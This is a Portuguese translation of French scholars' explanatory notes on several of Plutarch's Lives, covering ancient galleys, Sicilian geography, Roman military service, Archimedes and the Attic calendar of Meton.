Observações sobre as Vidas de PAULO EMÍLIO, TIMOLEON, PELÓPIDAS, MARCELO, ARISTIDES, CATÃO de Plutarco

Observações sobre as Vidas de PAULO EMÍLIO, TIMOLEON, PELÓPIDAS, MARCELO, ARISTIDES, CATÃO de Plutarco

Observações de Clavier, Vauvilliers e Brotier para as Vidas de Plutarco.

OBSERVAÇÕES SOBRE A VIDA DE PAULO EMÍLIO

CAP. L — Sob o reinado de Sesóstris, o pentacentor foi inventado no Egito; tal foi o navio com o qual Danaüs passou à Grécia; tal foi o famoso navio que levou os heróis gregos a Colquida, chamado Argos, nome de seu construtor: tinha vinte e cinco remadores de cada lado.

As primeiras trieras ou galeras com três ordens de remos foram inventadas em Corinto, mais ou menos 700 anos antes de Cristo. Não eram ainda cobertas, senão na proa e na popa, no tempo da invasão de Xerxes na Grécia. Pouco depois os atenienses tiveram os navios pontiagudos, cuja idéia se deve aos tassianos.

A trirreme tinha três ordens de remadores de cada lado, colocados em alturas graduadas. Os que estavam colocados na parte mais baixa do navio chamavam-se talamitas, os de cima, tranitas, e os do meio zigites. Ao tempo da guerra do Pelopo neso, as trirremes gregas levavam até duzentos homens. Não puxavam quatro pés de água. Eram tão leves que as faziam passar sobre os istmos, fazendo até cinqüenta léguas por dia.

Dionísio, o Antigo, tirano de Siracusa, foi o primeiro a mandar construir as i>cnteras ou navios com cinco ordens de remadores, aproximadamente 400 anos antes de nossa era. Alexandre, o Grande, elevou até doze as ordens. Pouco tempo depois, Ptolomeu Filadelfo aumentou o número até quarenta. Enfim, sob Ptolomeu’ Filopator, viram uma de cinqüenta ordens, segundo refere Plínio.

Essas novas dimensões necessitaram, sem dúvida, de novas atribuições. É fácil conceber que se se colocassem quarenta ou cinqüenta remadores em forma de anfiteatro, não haveria força humana que pudesse mover o quinquagésimo remo superior. Eis a maneira pela qual Leroy contorna esta dificuldade, segundo uma passagem das Táticas de Leão, que nos parece decisiva. Que se imagine um só remador sobre o remo inferior, dois sobre o de cima, em seguida três, etc. e assim se saberá que a triera ou trirreme teria três carreiras ou ordens de remadores no comprimento do navio e duas na altura; a exera, seis ordens no comprimento e três na altura. Se tomarmos dois pela diferença da progressão: 1 — 3 — 5 — 7, acharemos que a decaexera ou galera com dezesseis ordens de remos, de que Plutarco trata nessa passagem, com dezesseis filas de remadores em seu comprimento, não tinha, entretanto, senão quatro ordens em altura. Enfim, se se começa a progressão pelo número 6, acha-se que na galera de cinqüenta ordens de Filopator, as cinqüenta filas de remadores teriam sido distribuídas sobre cinco pequenos degraus ou cinco ordens em altura, do qual o último teria catorze remadores sobre um remo.

SOBRE A VIDA DE TIMOLEON

CAP. VIII — «Eis como, etc.» — Esta passagem não está clara e não é fácil traduzi-la. Eis mais ou menos o sentido: «É assim que as opiniões que levam os homens a empreenderem alguma ação, são sujeitas a mudar, após o menor elogio ou a menor censura se eles não estão fortalecidos pela filosofia e baseados na força do raciocínio».

CAP. XXXV — O leitor com certeza não vai se zangar por encontrar aqui uma descrição sumária que o ajude a ter uma idéia desse campo de batalha e seguir mais facilmente as campanhas de Timoleon.

A Sicília é atravessada em toda a sua extensão por várias cadeias de montanhas. As duas mais altas estão ao nordeste; o Etna, que se estende até o promontório de Pelório; ao sudoeste o Erix, sobre o qual se achava o templo de Vénus. Outra desce do lado sul, até o promontório Lilibéia. No espaço entre os dois estão os montes Hereenos, que vão ao sudoeste juntar-se ao promontório de Paquine. Ao ocidente dos montes Hereenos, de onde desce um dos rios Himeres, está o monte Cratas, de onde corre para o norte o outro Himere, banhando depois de sua embocadura a cidade do mesmo nome. Entre os dois estão os montes Nebródios, abaixo das Colinas Gêmeas e à direita, do lado do monte Hereen, o monte Maron. Na parte setentrional do monte Cratas, desce para o sudoeste o rio Hipsa, que se joga no mar depois de Selinunte. A Crimesa ou Crimisa, que corre mais a oeste, vem se unir a êle perto de Enteia, cidade cuja latitude é de algumas léguas mais meridional que Siracusa, .mas quase na extremidade da Sicília. Foi sobre as margens desse rio que Timoleon derrotou os cartagineses que entraram na Sicília pelo promontório de Lilibéia.

SOBRE A VIDA DE PELÓPIDAS

CAP. XXXIV — «Depois da qual, Filipe, olhando a decomposição dos mortos, parou no lugar onde estavam os quatrocentos homens desta companhia caídos na terra, apertados uns junto dos outros, todos perfurados com grandes golpes de lança, atravessando o estômago». Parece que Amyot não seguiu a lição comum, lendo «através do peito» em lugar de «caídos na terra em espaços estreitos». Cremos necessário traduzir toda a passagem assim: «Todos perfurados com grandes golpes de lança através do estômago e colocados, ainda cobertos com suas armas, uns junto dos outros».

CAP. XXXIV — . «Em suma, a inconveniência de Laio, que foi morto pelo seu próprio filho Édipo, não foi a causa primitiva deste hábito que os tebanos tinham, enamo-rando-se uns dos outros». Ê preciso traduzir: — «Em suma, a paixão de Laio não foi, como dizem os poetas, a causa primitiva que os tebanos tinham, de se enamorarem uns dos outros». Essa paixão de Laio era seu amor por Crisipo, filho de Pelópidas, que raptou, como se pode ver, mesmo em Plutarco.

SOBRE A VIDA DE MARCELO

CAP. I — A maneira pela qual aqui está expressa, não é própria para fixar idéias precisas sobre a idade militar dos romanos.

Todo o romano está obrigado ao serviço militar desde a puberdade (17 anos segundo as ordenanças do rei Sérvio Túlio) até 46 anos. Após este tempo, não podiam mais ser obrigados, exceto nas guerras dos gaideses, quando toda a exceção desaparecia.

Quanto aos senadores, uma vez no senado, não tinham mais trabalho como particulares, mas empregavam o tempo em comandar os exércitos, na qualidade de cônsules, procônsules, etc. Note-se bem que é quando se trata de obedecer e não de ordenar, que se solicitavam exceções. No entanto, a velhice não podia deixar de ser uma legítima desculpa. E se Paulo Emílio,, de qualquer maneira, se viu obrigado a aceitar, na idade de sessenta anos, o consulado, para guerrear Perseu, reconhece-se bem facilmente que era uma imposição feita pela estima e favor públicos e não um constrangimento declarado pela lei, pois não foi nomeado senão após se ter apresentado^ entre os candidatos.

Na Lacedemônia a idade militar começava na puberdade para terminar aos sessenta anos. Com os atenienses, os jovens pegavam em armas aos dezoito anos. Ficavam para servir até os vinte, na guarda da cidade e nos fortes da Ática, em seguida serviam nos exércitos até os quarenta anos. Só a necessidade obrigava ultrapassar essas idades.

CAP. XXI — O oráculo de Delfos pedira, segundo Eratóstenes, um altar público, em torno daquele que já existia no templo. Para resolver este problema, era preciso encontrar duas médias proporcionais, entre. 1 e 2, pois se se estabelecer essa progressão contínua, 1 é para x como x é para y, como y é para 2, o que se escreve assim: 1 : x : y : 2; x representará a linha de cujo cubo será o dobro de 1. A isso não se pode chegar só com o auxílio da linha reta e da circular. É preciso empregar curvas de uma classe superior ou máquinas cujo movimento composto não conduz certamente a um resultado geometricamente rigoroso, mas, suficiente, no entanto, para a. prática. Tal era o mesolábio ou mesográfico do qual se trata aqui. Um e outro meios foram empregados por Platão e por outros filósofos contemporâneos e posteriores. Ver a História dos descobrimentos sobre o quadrante do círculo por de Montucla.

CAP. XXIV — Eis a descrição que cita Políbio: Marcelo mandou avançar oito galeras com cinco ordens de remadores amarradas duas a duas pelos lados nos quais haviam suprimido os remos. Sobre as bordagens dos navios assim reunidos, estava deitada uma escada de quatro pés de largura, bastante comprida para atingir a altura dos muros, quando fosse erguida. Os lados estavam cobertos, de maneira a porem os soldados a salvo dos dardos enquanto subiam. Na extremidade anterior da escada estavam amarradas as cordas que, passando em polias fixas nos mastros, tornavam a descer nas popas. Quando os navios haviam se aproximado o suficiente das muralhas, então os soldados colocados na popa, erguiam a escada, puxando sobre êle as cordagens que passavam por cima dos mastros, enquanto outros, colocados na proa, os ajudavam, puxando sobre a escada e a sustinham com estacas ou lanças. Depois do que ajustavam os pés da escada sobre as bordagens dos dois navios, com caibros. É este conjunto de escadas, de cordagens, passando por cima de mastros, que Políbio diz ter alguma semelhança com a sambica, instrumento de música que Suidas chama sua guitarra triangular, cujo formato não está distante da nossa harpa. A escada terminava na parte superior por uma prancha, orlada dè grades, sobre os três lados exteriores. Quatro soldados podiam aí ficar e quando havia um morto ou derrubado, os que defendiam o acesso da muralha a sua frente, retiravam as grades e passavam sobre a fortificação, onde tão logo uniam-se aos soldados que subiam em seguida.

CAP. XXVII Foi pela aparência superior desse monumento que Cícero reconheceu o túmulo do geómetra, quando foi a Siracusa para dar suas informações contra Verres. Arquimedes foi o primeiro a achar que a solidez de uma esfera contida em um cilindro, tendo por conseguinte a mesma altura e o mesmo diâmetro, tem dois terços da solidez do cilindro.

CAP. XXIX Vários moderaos comentadores querem que a palavra que Amyot traduziu aqui como ângulos signifique quadrantes. Mas a tradução de Amyot é preferível. Duas réguas que formariam entre elas um ângulo de meio grau compreenderiam e .mediriam com efeito a grandeza aparente do diâmetro do sol. Esta passagem é ainda mais rara, constatada por uma descoberta dos antigos, que os modernos não sabem nem ascender a uma origem tão afastada.

COMPARAÇÃO DE PELÓPIDAS COM MARCELO

CAP. III Não entendo nada de tudo quanto Plutarco quer dizer aqui. Acreditar que Aníbal tenha consentido em perder, em diversos encontros vários milhares de homens para enganar Marcelo, isso não parece nada provável e não concorda nem com as narrações do mesmo Plutarco e de outros historiadores, nem com as palavras que lhe escaparam em ocasiões diferentes e que Plutarco transporta para a Vida de. Marcelo. Mas estamos persuadidos, com Reiske que há um erro no texto e que a palavra empregada significa, ao pé da letra, falsa queda, explicação que é dada pelo escolástico Aristófanes. Ê, diz êle, uma espécie de manejo praticado pelos lutadores. Se acontece que um deles, caído sobre o ombro seja bastante feliz para se levantar prontamente, limpa,o pó, cuja marca deporia sobre sua queda, a qual nega; e, recomeçando o combate, atira por terra algumas vezes seu adversário, levantando o prêmio da vitória contra a qual seu acidente não pode prejudicar, porque não há nada que o prove. Ora, esta idéia convém perfeitamente às desvantagens passageiras e pouco decisivas de Aníbal diante de Marcelo, as quais terminaram afinal pela vantagem mais decisiva a favor dos cartagineses, com a morte do general romano.

SOBRE A VIDA DE ARISTIDES

CAP. I — O nome Chorege tem dois significados muito diferentes, segundo as épocas. Na significação posterior, designa os empreendedores que mediante uma quantia, encarre gavam-se dos coros nas festas que os atenienses- celebravam em honra de Baco. Era um emprego lucrativo e por conseguinte mercenário. Outrora davam esse nome ao cidadão que sua tribo escolhia para presidir a ordenança e fornecer os gastos desses coros. Era, portanto, um ofício honroso mas despendioso, como se pode concluir pelas diversas passagens de Demóstenes e de outros escritores áticos.

CAP. XXXIX — Vê-se no sétimo livro da Ilíada, de Homero, traduzindo de acordo com os termos expressos no Ajax, de Sófocles, que quando a questão é de tirar a sorte para saber qual o guerreiro que deve combater contra Heitor em campo fechado, os heróis amassam cada um uma bola de terra que jogam em um casquete, depois de a haver marcado com um sinal próprio para reconhecê-la. É a êste antigo uso que Amonfareto faz alusão. O tamanho e o peso da pedra caracterizam a firmeza imutável de sua resolução.

CAP. XLVII — Antigamente o ano ático compunha-se de doze meses lunares, de 29 a 30 dias, alternativamente, para comodidade de uso, porque o mês lunar é de vinte e nove dias e meio. Denominavam cheios os meses de trinta dias; vazios, os meses de vinte e nove, sem contar nem citar o dia vinte e nove, que se chamava por esta razão dia isento ou suprimido. Assim, o ano ático era reputado com trezentos e sessenta dias, os meses com trinta dias cada um. Mas havia efetivamente seis meses de vinte e nove dias somente e o ano na realidade com trezentos e cinqüenta e quatro dias. Isso durou até o primeiro ano da octogésima-sétima Olimpíada, com-a qual começou a reforma introduzida por Méton, no calendário. Depois desta época o dia dispensado foi tomado de sessenta e três em sessenta e três, durante todo o tempo do período de dezenove anos que havia imaginado para fazer enquadrar o ano lunar com o ano solar, por meio de meses intercalados.

Dezenove anos solares, supostos de trezentos e sessenta e cinco dias, fazem seis mil novecentos e trinta e cinco dias e dezenove anos lunares supostos de trezentos e cinqüenta e quatro, não fazem senão seis mil setecentos e vinte e seis. A diferença é duzentos e nove. Sete meses intercalados nos 3.º, 5.º, 8.º. 11.º13º.’, 16.ºe 19.° anos, compensavam esta diferença. Tal é a idéia sumária do calendário de Méton, pois não é possível entrar aqui em detalhes. A correção que Calípio aí fêz duzentos arios depois, não mudou em nada a sua forma. Não teve por objeto senão suprimir um dia que, no cálculo de Méton, achava-se sobrando todos os setenta e seis anos.

Independentemente dos dias regularmente isentos com esta forma de ano, o dia dois do mês boedromion estava sempre de sobra, porque era esse dia segundo a fábula, que Netuno e Minerva haviam disputado a Ática. É por isso que se vê em Plutarco a data da batalha de Platéia transportada ora para o dia 3 ora para o dia 4 desse mês, de acordo com a atenção ou não pelo dia isento.

Pensamos, para comodidade dos leitores, dever juntar aqui os nomes dos meses áticos, em relação com os nossos, com á nota dos meses intercalados e dos dias isentos, de maneira a apresentar um quadro perceptível:

Hecatombeon – começando na lua nova, a mais próxima do solsticio do verão, correspondendo na maior parte a Julho

Metageitnion,…………………. Agosto
Boedromion, o 3 isento…………… Setembro
Memacterion………………… Outubro
Pianepsion. o 6 jsento…………… Novembro
Poseidon………………….. Dezembro
Gamelion, o 9 isento…………….. Janeiro
Anthesterion………………… Fevereiro
Elafebolion, o 12 isento…………… Março
Muniquion……………………. Abril
Thargelion. o 15 isento…………… Maio
Scirroforion……………………. Junho

O período de Méton começava no primeiro ano da octogésima-sétima Olimpíada, 432 anos antes de Cristo. Assim, no terceiro ano dessa Olimpíada intercalavam um décimo-terceiro mês. Chamava-se o segundo Poseidon, intercalado depois do primeiro, em seguida no primeiro ano da octogésima-oitava Olimpíada, depois na quarta e assim por diante na ordem que demonstramos acima.

CAP. LXVI — Além dos escritores que Plutarco citou nesta passagem, vários outros ainda, concordam com este casamento e com os filhos que nasceram. É verdade que havia em Atenas uma antiga lei. devida a Cécrops, para interditar a poligamia. Mas Jerónimo, o Ródio. citado por Plutarco, transportou um decreto do povo de Atenas, levado no tempo de Sócrates, pelo qual era permitido, atendendo a despovoação atual, de tomar uma conoubina. cujo! filhos seriam cidadãos. É lamentável termas perdido o fragmento de Panécio ao qual Plutarco aqui se refere. Pois a autoridade de Aristóteles, baseando-se pelos escritores posteriores, é muito fraca, pois o trabalho sobre a nobreza, já era visto como apócrifo no tempo de Plutarco.

Diógenes Laércio, que fêz esta Mirto, filha de Aristides, cometeu um erro que Ateneu procurou corrigir. Pois Aristides morreu velho, no cegundo ano da septuagésima-oitava Olimpíada e Sócrates nasceu no terceiro ano da septuagésima-sétima Olimpíada. Como então unia filha de Aristides, já em idade de casar quando seu pai morreu, poderia dar filhos a Sócrates, na idade viril? Ateneu quer que seja filha de um outro Aristides, posterior àquele que foi denominado o Justo, mas a dificuldade não é a mesma com relação a Plutarco que a dá por sua neta. Quanto ao que Amyot traduz de Plutarco: — Lisimaco, íilho da filha ou do filho de Aristides, sente-se bem que era impossível que Demétrio propondo ou o povo aplicando um decreto a respeito, tivesse ignorado qual era seu pai ou sua mãe. Também Plutarco não deixou aqui nenhuma alternativa, di^se: filho da filha de Aristides. Plutarco não cita também Lisimaco com relação à pensão alimentar do trióbolo. É questão aqui, somente de sua mãe e dé sua tia.

CAP. LXVII — Harmódio e Aristogiton deram o primeiro golpe na tirania dos Pisistrátidas, matando Hiparco. filho de Pisístrato. no terceiro ano da sexagésima-sexta Olimpíada. Hípias seu irmão mais velho, manteve-se ainda quatro anos e foi expulso por Clistènio. da raça dos Al«meõnidas. ajudado por toda sua família e pelos lacedemônios. Erigiram então, estátuas a Harmódio e a Aristogiton, que haviam sido as vítimas da liberdade de sua pátria, nos três quartos da sexagésima-sétima Olimpíada, época da expulsão dos reis de Roma.

 

SOBRE A VIDA DE CATÃO O CENSOR

CAP. XVII — A autoridade de Dacier era muito grave e a do abade Brotier dava-lhe muito valor a nosso pesar, para não deixar subsistir esta tal qual foi escrita por uma mão habituada há tanto tempo e com tanto sucesso a levar a flama da erudição e da crítica às trevas da antiguidade, cujos trabalhos; suspensos devido aos cuidados necessários à sua saúde, não podem deixar de excitar os desejos e o pesar do povo. Mas, depois de haver rendido esta homenagem de nosso respeito e estima a nosso ilustre predecessor, cremos ser nosso dever expor aqui a nossa opinião.

Não cremos que falte aqui uma negação: 1." porque os autores de comédias ou de dramas satíricos estavam habituados a fantasiar os caracteres dos deuses e dos heróis da fábula, para fazer nascer o ridículo pelos contrastes como vêem especialmente nos Sapos e nos Pássaros de Aristófanes com relação a Baco e a Hércules, é muito provável que algum escritor desse gênero, haja emprestado a Ulisses esse pesar ridículo pelo seu chapéu e seu cinto, em uma peça conhecida no tempo de Catão e para nós perdida também como tantas outras. 2.° Muito mais ainda, porque sem recorrer a esta suposição, a frase não parece ser muito grega e ter esse significado muito natural. Políbio quer, diz Catão, evadido como Ulisses do antro do ciclope, aí voltar para procurar seu chapéu e seu cinto que havia esquecido. A comparação com Ulisses não gira senão sobre a primeira parte da frase, não pode aplicar senão sobre este objeto que não precisa negação. Para a fazer recair na segunda parte e justificar a negação, precisaria que Ulisses com efeito esquecesse seu chapéu e seu cinto na caverna de Polifêmio E é do que não se faz menção em nenhuma obra desta fábula.

CAP. XXXV —. O Pe. Pétau coloca a morte de Cipião, o Africano, um ano mais tarde, de acordo com a autoridade de Tito Lívio, diz êle, e de Políbio. Isso é verdade quanto a Políbio, segundo Tito Lívio, mas quanto a este aqui, diz formalmente o contrário e prova-o, observando o que Plutarco diz mais acima, que Catão nomeou príncipe do senado a Valério Placo, pelo que se supõe que Cipião já estava morto, pois era êle quem gozava esta honra havia dez anos.

CAP. LIII — Jamais os cartagineses foram aliados dos romanos, nem da maneira completa que os gregos chamavam aliança ofensiva e defensiva, nem da maneira incompleta que chamavam aliança defensiva somente. Eram, diz Plutarco, os povos conciliados por um tratado que fixa seus direitos e suas pretensões respectivas.

(Anotações dos comentadores franceses).

 

Fonte: Edameris, Vidas dos Homens Ilustres de Plutarco. Vol. III. Tradução de Carlos Chaves.


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